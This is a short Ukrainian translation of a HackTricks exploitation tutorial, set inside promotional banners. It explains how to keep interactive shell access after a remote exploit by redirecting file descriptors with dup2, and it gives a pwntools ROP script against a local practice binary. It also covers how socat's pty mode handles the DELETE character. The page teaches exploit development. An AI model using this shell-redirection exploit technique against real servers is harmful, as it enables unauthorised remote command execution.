4.7 KiB
Загальні проблеми експлуатації
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
FDs у віддаленій експлуатації
Коли ви надсилаєте експлойт на віддалений сервер, який викликає system('/bin/sh')
, наприклад, це буде виконано в процесі сервера, і /bin/sh
очікуватиме введення з stdin (FD: 0
) і виведе результат у stdout та stderr (FDs 1
та 2
). Отже, атакуючий не зможе взаємодіяти з оболонкою.
Спосіб вирішення цієї проблеми полягає в тому, щоб припустити, що коли сервер запустився, він створив FD номер 3
(для прослуховування), а потім ваше з'єднання буде в FD номер 4
. Тому можливо використовувати системний виклик dup2
, щоб дублювати stdin (FD 0) та stdout (FD 1) у FD 4 (той, що належить з'єднанню атакуючого), щоб це зробило можливим зв'язок з оболонкою після її виконання.
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
Socat & pty
Зверніть увагу, що socat вже передає stdin
та stdout
до сокета. Однак, режим pty
включає символи DELETE. Тому, якщо ви надішлете \x7f
( DELETE
-) це видалить попередній символ вашого експлойту.
Щоб обійти це, символ втечі \x16
повинен бути попереджений перед будь-яким \x7f
, що надсилається.
Тут ви можете знайти приклад цієї поведінки.
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.